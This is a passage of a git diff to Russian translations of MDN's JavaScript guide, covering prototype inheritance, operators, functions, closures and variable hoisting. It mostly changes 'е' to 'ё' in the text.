          Когда JavaScript видит оператор new, он создаёт новый обобщённый ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в WorkerkBee.prototype, затем передаёт этот новый ообъект в качестве значения this в функцию-конструктор WorkerBee. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную mark для этого объекта.
          
 
-
          Этот процесс не задает значения свойств (локальных значений), которые унаследованы по цепочке прототипов, объекта mark напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект mark содержит следующие свойства и значения:
          
+
          Этот процесс не задаёт значения свойств (локальных значений), которые унаследованы по цепочке прототипов, объекта mark напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект mark содержит следующие свойства и значения:
          
 
 
          mark.name = '';
 mark.dept = 'general';
 mark.projects = [];
 
          
 
-
          Значения для свойств name и dept объекту mark присваиваются из конструктора Employee. Также из конструктора WorkerBee присваивается локальное значение для свойства projects. Это дает вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в Тонкости наследования свойств.
          
+
          Значения для свойств name и dept объекту mark присваиваются из конструктора Employee. Также из конструктора WorkerBee присваивается локальное значение для свойства projects. Это даёт вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в Тонкости наследования свойств.
          
 
 
          Поскольку эти конструкторы не позволяют вводить значения, специфичные для экземпляра, добавленная информация является общей. Значения свойств устанавливаются по умолчанию одинаковыми для всех объектов, созданных функцией WorkerBee. Конечно, вы можете изменить значения любого из этих свойств. Так, вы можете добавить специфичную информацию для mark следующим образом:
          
 
@@ -397,7 +397,7 @@ public class Engineer extends WorkerBee {
 
 
          {{ note('Это может работать не так, как ожидается, если функция-конструктор вызывается с аргументами, которые преобразуются в false, вроде нуля (0) или пустой строки (""). В этом случае будет выбрано значение по умолчанию.') }}
          
 
-
          С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определенных свойств. Как показано на Рисунок 8.5, можно использовать следующее выражение для создания нового Engineer:
          
+
          С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определённых свойств. Как показано на Рисунок 8.5, можно использовать следующее выражение для создания нового Engineer:
          
 
 
          var jane = new Engineer('belau');
 
          
@@ -412,7 +412,7 @@ jane.machine == 'belau'
 
 
          Обратите внимание, что с таким способом вы не можете указать начальное значение наследуемого свойства, такого как name. Если вы хотите задать начальное значение для наследуемых свойств в JavaScript, вам нужно добавить больше кода в функцию-конструктор.
          
 
-
          До сих пор функция-конструктор создавала обобщенный ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путем непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.
          
+
          До сих пор функция-конструктор создавала обобщённый ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путём непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.
          
 
 

          
  Рисунок 8.6: Определение свойств в конструкторе, вариант 2
          
@@ -426,7 +426,7 @@ jane.machine == 'belau'
 }
          -

          Предположим, вы создаете новый ообъект, используя Engineer, следующим образом:

          +

          Предположим, вы создаёте новый ообъект, используя Engineer, следующим образом:

          var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau');
          @@ -434,16 +434,16 @@ jane.machine == 'belau'

          JavaScript выполняет следующие действия:

            -
          1. Оператор new создает обобщенный ообъект и устанавливает его свойству __proto__ значение Engineer.prototype.
            2. -
          2. Оператор new передает этот новый ообъект в конструктор Engineer в качестве значения ключевого слова this.
            3. -
          3. Конструктор создает новое свойство с именем base для этого объекта и присваивает значение свойства base из конструктора WorkerBee. Это делает конструктор WorkerBee методом объекта, созданного Engineer. Имя свойства base не является специальным словом. Вы можете использовать любое допустимое для свойства имя; base всего-лишь напоминает о предназначении свойства.
            4. +
          4. Оператор new создаёт обобщённый ообъект и устанавливает его свойству __proto__ значение Engineer.prototype.
            5. +
          5. Оператор new передаёт этот новый ообъект в конструктор Engineer в качестве значения ключевого слова this.
            6. +
          6. Конструктор создаёт новое свойство с именем base для этого объекта и присваивает значение свойства base из конструктора WorkerBee. Это делает конструктор WorkerBee методом объекта, созданного Engineer. Имя свойства base не является специальным словом. Вы можете использовать любое допустимое для свойства имя; base всего-лишь напоминает о предназначении свойства.
          7. Конструктор вызывает метод base, передавая в качестве аргументов два аргумента, переданных конструктору ("Doe, Jane" и ["navigator", "javascript"]), а также строку "engineering". Явное использование "engineering" в конструкторе указывает на то, что все объекты, созданные Engineer, имеют одинаковое значение для наследуемого свойства dept, это значение переопределяет значение, унаследованное из Employee.
            8. -
          8. Поскольку base является методом Engineer, внутри вызова base JavaScript привязывает ключевое свойство this к объекту, созданному в шаге 1. Таким образом, функция WorkerBee передает поочередно аргументы "Doe, Jane" и "engineering" в функцию-конструктор Employee. Получив результат из Employee, функция WorkerBee использует оставшийся аргумент для установки значения свойства projects.
            9. +
          9. Поскольку base является методом Engineer, внутри вызова base JavaScript привязывает ключевое свойство this к объекту, созданному в шаге 1. Таким образом, функция WorkerBee передаёт поочерёдно аргументы "Doe, Jane" и "engineering" в функцию-конструктор Employee. Получив результат из Employee, функция WorkerBee использует оставшийся аргумент для установки значения свойства projects.
          10. После возвращения из метода base, конструктор Engineer инициализирует свойство объекта machine со значением "belau".
          11. После возвращения из конструктора, JavaScript присваивает новый ообъект переменной jane.
          -

          Можно подумать, что вызвав WorkerBee из конструктора Engineer, вы настроили соответствующим образом наследование для объектов, создаваемых Engineer. Это не так. Вызов конструктора WorkerBee обеспечивает только то, что ообъект Engineer запускается со  свойствами, определенными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы Employee или WorkerBee, эти свойства не наследуются объектами из Engineer. Например, предположим, вы использовали следующие определения:

          +

          Можно подумать, что вызвав WorkerBee из конструктора Engineer, вы настроили соответствующим образом наследование для объектов, создаваемых Engineer. Это не так. Вызов конструктора WorkerBee обеспечивает только то, что ообъект Engineer запускается со  свойствами, определёнными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы Employee или WorkerBee, эти свойства не наследуются объектами из Engineer. Например, предположим, вы использовали следующие определения:

          function Engineer (name, projs, mach) {
   this.base = WorkerBee;
@@ -511,7 +511,7 @@ function Engineer (name, projs, mach) {
  
        2. Если искомое свойство не обнаружено, считается, что ообъект его не имеет.
          3.
        -

        Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаете объекты, прототипы и их свойства. Рассмотрим пример:

        +

        Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаёте объекты, прототипы и их свойства. Рассмотрим пример:

        function Employee () {
   this.name = "";
@@ -524,7 +524,7 @@ function WorkerBee () {
 WorkerBee.prototype = new Employee;
        -

        Предположим, на основе конструкции выше, вы создаете ообъект amy как экземпляр класса WorkerBee следующим выражением:

        +

        Предположим, на основе конструкции выше, вы создаёте ообъект amy как экземпляр класса WorkerBee следующим выражением:

        var amy = new WorkerBee;
        @@ -543,7 +543,7 @@ amy.projects == [];

        На первый взгляд вы можете ожидать, что это изменение распространится на все экземпляры Employee. Однако этого не случится.

        -

        Когда вы устанавливаете прототип для WorkerBee вы создаете новый ообъект Employee, таким образом WorkerBee.prototype получает свое собственное локальное свойство name (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство name у объекта amy (экземпляра WorkerBee), он первым делом натыкается на него в прототипе WorkerBee.prototype, и до проверки Employee.prototype дело не доходит.

        +

        Когда вы устанавливаете прототип для WorkerBee вы создаёте новый ообъект Employee, таким образом WorkerBee.prototype получает своё собственное локальное свойство name (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство name у объекта amy (экземпляра WorkerBee), он первым делом натыкается на него в прототипе WorkerBee.prototype, и до проверки Employee.prototype дело не доходит.

        Если у вас есть необходимость изменять некоторое свойство объекта во время работы приложения, и применять это изменение на все существующие экземпляры, не нужно создавать это свойство внутри конструктора. Вместо этого добавьте свойство в прототип, принадлежащий конструктору. Для примера, предположим, вы изменили код, который был показан выше, следующим образом:

        @@ -617,7 +617,7 @@ instanceOf (chris, Employee) instanceOf (chris, Object) -

        Но следующее выражение вернет false:

        +

        Но следующее выражение вернёт false:

        instanceOf (chris, SalesPerson)
        @@ -635,13 +635,13 @@ function Employee (name, dept) { } -

        Здесь, когда вы создаете новый экземпляр Employee, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной idCounter. Следовательно, при выполнении кода ниже, victoria.id станет равным 1 а harry.id — 2:

        +

        Здесь, когда вы создаёте новый экземпляр Employee, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной idCounter. Следовательно, при выполнении кода ниже, victoria.id станет равным 1 а harry.id — 2:

        var victoria = new Employee("Pigbert, Victoria", "pubs")
 var harry = new Employee("Tschopik, Harry", "sales")
        -

        Навскидку, все выглядит предсказуемо. Однако, idCounter увеличивается при создании каждого объекта Employee вне зависимости от цели его создания. Если вы создаете полную иерархию класса Employee, показанную выше в этой главе, конструктор Employee будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:

        +

        Навскидку, все выглядит предсказуемо. Однако, idCounter увеличивается при создании каждого объекта Employee вне зависимости от цели его создания. Если вы создаёте полную иерархию класса Employee, показанную выше в этой главе, конструктор Employee будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:

        var idCounter = 1;
 
@@ -666,9 +666,9 @@ SalesPerson.prototype = new WorkerBee;
 var mac = new Engineer("Wood, Mac");
        -

        Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведет к тому, что id у объекта mac примет значение 5 вместо ожидаемой единицы.

        +

        Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведёт к тому, что id у объекта mac примет значение 5 вместо ожидаемой единицы.

        -

        В зависимости от приложения, лишние увеличения счетчика могут быть не критичны. В случае же, когда точный контроль за значениями счетчика важен, одним из возможных решений станет такой код:

        +

        В зависимости от приложения, лишние увеличения счётчика могут быть не критичны. В случае же, когда точный контроль за значениями счётчика важен, одним из возможных решений станет такой код:

        function Employee (name, dept) {
    this.name = name || "";
@@ -678,15 +678,15 @@ var mac = new Engineer("Wood, Mac");
 }
        -

        Когда вы создаете экземпляр Employee в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента name, и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счетчика idCounter не увеличивается. Таким образом, для получения уникального id становится обязательным указание параметра name при вызове конструктора Employee. С внесенными в пример выше изменениями, mac.id станет равным долгожданной, заветной единице.

        +

        Когда вы создаёте экземпляр Employee в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента name, и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счётчика idCounter не увеличивается. Таким образом, для получения уникального id становится обязательным указание параметра name при вызове конструктора Employee. С внесёнными в пример выше изменениями, mac.id станет равным долгожданной, заветной единице.

        Никакого множественного наследования

        Некоторые из объектно-ориентированных языков предоставляют возможность множественного наследования. Когда один ообъект может унаследовать свойства и методы множества других, не связанных друг с другом объектов. В JavaScript такого не предусмотрено.

        -

        В JavaScript наследование свойств осуществляется путем поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.

        +

        В JavaScript наследование свойств осуществляется путём поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.

        -

        Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это дает некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:

        +

        Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это даёт некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:

        function Hobbyist (hobby) {
    this.hobby = hobby || "scuba";
diff --git a/files/ru/web/javascript/guide/expressions_and_operators/index.html b/files/ru/web/javascript/guide/expressions_and_operators/index.html
index dea3cef0d6..046e83e9fb 100644
--- a/files/ru/web/javascript/guide/expressions_and_operators/index.html
+++ b/files/ru/web/javascript/guide/expressions_and_operators/index.html
@@ -59,14 +59,14 @@ translation_of: Web/JavaScript/Guide/Expressions_and_Operators
 
 
        В результате операции присваивания операнду слева от оператора присваивания (знак "=") устанавливается значение , которое берётся из правого операнда. Основным оператором присваивания является  =, он присваивает значение правого операнда операнду, находящемуся слева. Таким образом, выражение x = y означает, что x присваивается значение y.
        
 
-
        Существуют также составные операторы присваивания, которые используются для сокращенного представления операций, описанных в следующей таблице:
        
+
        Существуют также составные операторы присваивания, которые используются для сокращённого представления операций, описанных в следующей таблице:
        
 
 
-   
+   
@@ -491,7 +491,7 @@ var n3 = !"Cat"; // !t возвращает false
  
      11. true || anything - сокращение с результатом true.
        12. 
 
-
        Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "anything" представленных выше выражений не вычисляется, таким образом удается избежать любых побочных эффектов вычисления данной части.
        
+
        Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "anything" представленных выше выражений не вычисляется, таким образом удаётся избежать любых побочных эффектов вычисления данной части.
        Строковые операторы
        
 
@@ -499,7 +499,7 @@ var n3 = !"Cat"; // !t возвращает false
 
 
        console.log("my " + "string");  // в консоли выведется строка  "my string".
        
 
-
        Сокращенный оператор присваивания += также может быть использован для объединения (конкатенации) строк:
        
+
        Сокращённый оператор присваивания += также может быть использован для объединения (конкатенации) строк:
        var  mystring = "alpha";  mystring += "bet"; // получается значение "alphabet" и присваивается mystring.
 
        
@@ -548,7 +548,7 @@ delete property; // допустимо только внутри with
 
 
        где objectName представляет собой имя объекта, property - свойство объекта, а index - целое число, указывающее на положение (номер позиции)  элемента в массиве.
        
 
-
        Четвертый вариант использования позволяет удалить свойство объекта, но допускается только внутри with.
        
+
        Четвёртый вариант использования позволяет удалить свойство объекта, но допускается только внутри with.
        Вы можете использовать оператор delete для удаления переменных, объявленных неявно, но вы не можете с его помощью удалять переменные, объявленные с помощью var.
        
 
@@ -569,7 +569,7 @@ delete myobj;   // возвращает true (можно удалить объе
 
 
        Удаление элемента массива не влияет на длину массива. Например, если вы удалите a[3], элемент a[4] останется a[4], a[3] станет undefined.
        
 
-
        Когда элемент массива удаляется с помощью оператора delete, то из массива удаляется значение данного элемента. В следующем примере элемент trees[3] удален с помощью оператора delete. Однако, элемент trees[3] остается адресуемым и возвращает значение undefined.
        
+
        Когда элемент массива удаляется с помощью оператора delete, то из массива удаляется значение данного элемента. В следующем примере элемент trees[3] удалён с помощью оператора delete. Однако, элемент trees[3] остаётся адресуемым и возвращает значение undefined.
        var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
 delete trees[3];
@@ -578,7 +578,7 @@ if (3 in trees) {
 }
 
        
 
-
        Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово undefined вместо оператора delete. В следующем примере элементу trees[3] присвоено значение undefined, но элемент при этом остается в массиве:
        
+
        Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово undefined вместо оператора delete. В следующем примере элементу trees[3] присвоено значение undefined, но элемент при этом остаётся в массиве:
        var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
 trees[3] = undefined;
@@ -665,7 +665,7 @@ void expression
 
        <A HREF="javascript:void(0)">Нажмите здесь, чтобы ничего не произошло</A>
 
        
 
-
        Приведенный ниже код создает гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:
        
+
        Приведённый ниже код создаёт гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:
        
 
 
        <A HREF="javascript:void(document.form.submit())">
 Нажмите здесь, чтобы подтвердить отправку формы</A>
        
@@ -728,7 +728,7 @@ if (theDay instanceof Date) {
 
 
        Приоритет операторов определяет порядок их выполнения при вычислении выражения. Вы можете влиять на приоритет операторов с помощью скобок.
        
 
-
        Приведенная ниже таблица описывает приоритет операторов от наивысшего до низшего.
        
+
        Приведённая ниже таблица описывает приоритет операторов от наивысшего до низшего.
        
 
 
        
  Список операторов присваивания
  
   
        
    ИмяСокращенный операторСокращённый оператор
    Смысл
   
        
   
        
 
 
 
 
 
 
 
 
 
 
 
        
@@ -875,18 +875,18 @@ a + (b * c)   // 7
 // что эквивалентно следующему
 a * c + b * c // 9
 
-
        Упрощенный синтаксис создания массивов и генераторов
        
+
        Упрощённый синтаксис создания массивов и генераторов
        
 
-
        Упрощенный синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:
        
+
        Упрощённый синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:
        
  
        {{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}
        
- 
        Упрощенный синтаксис для массивов.
        
+ 
        Упрощённый синтаксис для массивов.
        
  
        {{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}
        
- 
        Упрощенный синтаксис для генераторов.
        
+ 
        Упрощённый синтаксис для генераторов.
        
 
        
 
-
        Упрощенные синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:
        
+
        Упрощённые синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:
        [for (i of [ 1, 2, 3 ]) i*i ];
 // [ 1, 4, 9 ]
diff --git a/files/ru/web/javascript/guide/functions/index.html b/files/ru/web/javascript/guide/functions/index.html
index 2e62690a66..ef48cf9b64 100644
--- a/files/ru/web/javascript/guide/functions/index.html
+++ b/files/ru/web/javascript/guide/functions/index.html
@@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Functions
 
 
          
  
        • Имя функции.
          • 
- 
        • Список параметров (принимаемых функцией) заключенных в круглые скобки () и разделенных запятыми.
          • 
+ 
        • Список параметров (принимаемых функцией) заключённых в круглые скобки () и разделённых запятыми.
          • 
  
        • Инструкции, которые будут выполнены после вызова функции, заключают в фигурные скобки { }.
          • 
 
        
 
@@ -92,7 +92,7 @@ var x = square(4); // x получает значение 16
 console.log(factorial(3));
 
        
 
-
        Функции вида "function definition expression" удобны, когда функция передается аргументом другой функции. Следующий пример показывает функцию map, которая должна получить функцию первым аргументом и массив вторым.
        
+
        Функции вида "function definition expression" удобны, когда функция передаётся аргументом другой функции. Следующий пример показывает функцию map, которая должна получить функцию первым аргументом и массив вторым.
        function map(f, a) {
   var result = [], // Create a new Array
@@ -184,7 +184,7 @@ d = factorial(4); // d gets the value 24
 e = factorial(5); // e gets the value 120
 
        
 
-
        Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определенному контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект Function). Один из них это метод apply(), использование которого может достигнуть этой цели.
        
+
        Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определённому контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект Function). Один из них это метод apply(), использование которого может достигнуть этой цели.
        Область видимости функций
        
 
@@ -202,7 +202,7 @@ function multiply() {
   return num1 * num2;
 }
 
-multiply(); // вернет 60
+multiply(); // вернёт 60
 
 // Пример вложенной функции
 function getScore() {
@@ -216,7 +216,7 @@ function getScore() {
   return add();
 }
 
-getScore(); // вернет "Chamahk scored 5"
+getScore(); // вернёт "Chamahk scored 5"
 
        Scope и стек функции
        
@@ -309,7 +309,7 @@ foo(3);
 
 
        Поскольку вложенная функция это closure, это означает, что вложенная функция может "унаследовать" (inherit) аргументы и переменные функции, в которую та вложена. Другими словами, вложенная функция содержит scope внешней ("outer") функции.
        
 
-
        Подведем итог:
        
+
        Подведём итог:
          
  
        • Вложенная функция имеет доступ ко всем инструкциям внешней функции.
          • 
@@ -350,7 +350,7 @@ result1 = outside(3)(5); // возвращает 8
 
 
          Сохранение переменных
          
 
-
          Обратите внимание, значение x сохранилось, когда возвращалось inside. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создается новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда inside уже возвратился и больше не доступен.
          
+
          Обратите внимание, значение x сохранилось, когда возвращалось inside. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создаётся новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда inside уже возвратился и больше не доступен.
          
 
 
          Это не отличается от хранения ссылок в других объектах, но часто менее очевидно, потому что не устанавливаются ссылки напрямую и нельзя посмотреть там.
          
 
@@ -379,9 +379,9 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)
  
        • Раз closure функции B включает A, то closure С тоже включает A, C имеет доступ к аргументам и переменным обоих функций B и A. Другими словами, С связывает цепью (chain) scopes функций B и A в таком порядке.
          • 
 
 
-
          В обратном порядке, однако, это не верно. A не имеет доступ к переменным и аргументам C, потому что A не имеет такой доступ к B. Таким образом, C остается приватным только для B.
          
+
          В обратном порядке, однако, это не верно. A не имеет доступ к переменным и аргументам C, потому что A не имеет такой доступ к B. Таким образом, C остаётся приватным только для B.
          
 
-
          Конфликты имен (Name conflicts)
          
+
          Конфликты имён (Name conflicts)
          
 
 
          Когда два аргумента или переменных в scope у closure имеют одинаковые имена, происходит конфликт имени (name conflict). Более вложенный (more inner) scope имеет приоритет, так самый вложенный scope имеет наивысший приоритет, и наоборот. Это цепочка областей видимости (scope chain). Самым первым звеном является самый глубокий scope, и наоборот. Рассмотрим следующие:
          
 
@@ -395,7 +395,7 @@ A(1); // в консоле выведится 6 (1 + 2 + 3)
 
 outside()(10); // возвращает 20 вместо 10
 
-
          Конфликт имени произошел в инструкции return x * 2 между параметром x функции inside и переменной x функции outside. Scope chain здесь будет таким: {inside ==> outside ==> глобальный объект (global object)}. Следовательно x функции inside имеет больший приоритет по сравнению с outside, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).
          
+
          Конфликт имени произошёл в инструкции return x * 2 между параметром x функции inside и переменной x функции outside. Scope chain здесь будет таким: {inside ==> outside ==> глобальный объект (global object)}. Следовательно x функции inside имеет больший приоритет по сравнению с outside, и нам вернулось 20 (= 10 * 2), а не 10 (= 5 * 2).
          
 
 
          Замыкания
          
 
@@ -407,7 +407,7 @@ outside()(10); // возвращает 20 вместо 10
 
 
          Также, поскольку вложенная функция имеет доступ к scope внешней функции, переменные и функции, объявленные во внешней функции, будет продолжать существовать и после её выполнения для вложенной функции, если на них и на неё сохранился доступ (имеется ввиду, что переменные, объявленные во внешней функции, сохраняются, только если внутренняя функция обращается к ним).
          
 
-
          Closure создается, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.
          
+
          Closure создаётся, когда вложенная функция как-то стала доступной в неком scope вне внешней функции.
          
 
 
          var pet = function(name) {   // Внешняя функция объявила переменную "name"
   var getName = function() {
@@ -568,7 +568,7 @@ multiply(5); // 5
          
 
 
          Оставшиеся параметры (Rest parameters)
          
 
-
          Оставшиеся параметры предоставляют нам массив неопределенных аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (Arrow functions), о которой будет рассказано в следующей секции.
          
+
          Оставшиеся параметры предоставляют нам массив неопределённых аргументов. В примере мы используем оставшиеся параметры, чтобы собрать аргументы с индексами со 2-го до последнего. Затем мы умножим каждый из них на значение первого аргумента. В этом примере используется стрелочная функция (Arrow functions), о которой будет рассказано в следующей секции.
          
 
 
          function multiply(multiplier, ...theArgs) {
   return theArgs.map(x => multiplier * x);
@@ -607,7 +607,7 @@ console.log(a3); // logs [8, 6, 7, 9]
          
 
 
          Лексика this
          
 
-
          До стрелочных функций каждая новая функция определяла свое значение this (новый объект в случае конструктора, undefined в strict mode,  контекстный объект, если функция вызвана как метод объекта, и т.д.).  Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.
          
+
          До стрелочных функций каждая новая функция определяла своё значение this (новый объект в случае конструктора, undefined в strict mode,  контекстный объект, если функция вызвана как метод объекта, и т.д.).  Это оказалось раздражающим с точки зрения объектно-ориентированного стиля программирования.
          
 
 
          function Person() {
   // Конструктор Person() определяет `this` как самого себя.
@@ -616,14 +616,14 @@ console.log(a3); // logs [8, 6, 7, 9]
          
   setInterval(function growUp() {
     // Без strict mode функция growUp() определяет `this`
     // как global object, который отличается от `this`
-    // определенного конструктором Person().
+    // определённого конструктором Person().
     this.age++;
   }, 1000);
 }
 
 var p = new Person();
 
-
          В ECMAScript 3/5 эта проблема была исправлена путем присвоения значения this переменной, которую можно было бы замкнуть.
          
+
          В ECMAScript 3/5 эта проблема была исправлена путём присвоения значения this переменной, которую можно было бы замкнуть.
          
 
 
          function Person() {
   var self = this; // Некоторые выбирают `that` вместо `self`.
diff --git a/files/ru/web/javascript/guide/grammar_and_types/index.html b/files/ru/web/javascript/guide/grammar_and_types/index.html
index 6618946fbb..3807d40ef0 100644
--- a/files/ru/web/javascript/guide/grammar_and_types/index.html
+++ b/files/ru/web/javascript/guide/grammar_and_types/index.html
@@ -51,13 +51,13 @@ translation_of: Web/JavaScript/Guide/Grammar_and_types
 
 
          Переменные
          
 
-
          Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определенным правилам.
          
+
          Вы можете использовать переменные как символические имена для значений в вашем приложении. Имена переменных называются {{Glossary("Identifier", "identifiers")}} и должны соответствовать определённым правилам.
          
 
-
          Идентификатор в JavaScript должен начинаться с буквы, нижнего подчеркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).
          
+
          Идентификатор в JavaScript должен начинаться с буквы, нижнего подчёркивания (_) или знака доллара ($); последующие символы могут также быть цифрами (0-9). Поскольку JavaScript чувствителен к регистру, буквы включают символы от "A" до "Z" (верхний регистр) и символы от "a" до "z" (нижний регистр).
          
 
 
          Вы можете использовать в идентификаторах буквы ISO 8859-1 или Unicode, например, å или ü. Вы также можете использовать управляющие последовательности Unicode как символы в идентификаторах.
          
 
-
          Некоторые примеры корректных имен: Number_hits, temp99,  _name.
          
+
          Некоторые примеры корректных имён: Number_hits, temp99,  _name.
          
 
 
          Объявление переменных
          
 
@@ -95,7 +95,7 @@ let x; 
          
   doThat();
 }
 
-
          Значение undefined ведет себя как false, когда используется в логическом контексте. Например, следующий код выполняет функцию myFunction, т.к. элемент myArray не определен:
          
+
          Значение undefined ведёт себя как false, когда используется в логическом контексте. Например, следующий код выполняет функцию myFunction, т.к. элемент myArray не определён:
          
 
 
          var myArray = [];
 if (!myArray[0]) {
@@ -108,7 +108,7 @@ let x; 
          
 
          var a;
 a + 2; // NaN
          
 
-
          Значение {{jsxref("null")}} ведет себя как 0 в числовом контексте и как false в логическом контексте:
          
+
          Значение {{jsxref("null")}} ведёт себя как 0 в числовом контексте и как false в логическом контексте:
          
 
 
          var n = null;
 console.log(n * 32); // В консоль выведется 0
          
@@ -124,7 +124,7 @@ console.}
 console.log(x); // 5          
 
-
          Такое поведение меняется, если используется оператор let, введенный в ECMAScript 6:
          
+
          Такое поведение меняется, если используется оператор let, введённый в ECMAScript 6:
          
 
 
          if (true) {
   let y = 5;
@@ -133,7 +133,7 @@ console.Поднятие переменных
 
-
          Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как поднятие (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые еще не были инициализированы, возвратят значение undefined:
          
+
          Другим необычным свойством переменных в JavaScript является то, что можно сослаться на переменную, которая объявляется позже, и не получить при этом исключения. Эта концепция известна как поднятие (hoisting) переменных; переменные в JavaScript поднимаются в самое начало функции или выражения. Однако, переменные, которые ещё не были инициализированы, возвратят значение undefined:
          
 
 
          /*
  * Example 1
@@ -151,7 +151,7 @@ console.  var myvar = "local value";
 })();
          
 
-
          Приведенные выше примеры будут интерпретироваться так же, как:
          
+
          Приведённые выше примеры будут интерпретироваться так же, как:
          
 
 
          /*
  * Example 1
@@ -209,7 +209,7 @@ var baz = function() {
 
 
          Константы
          
 
-
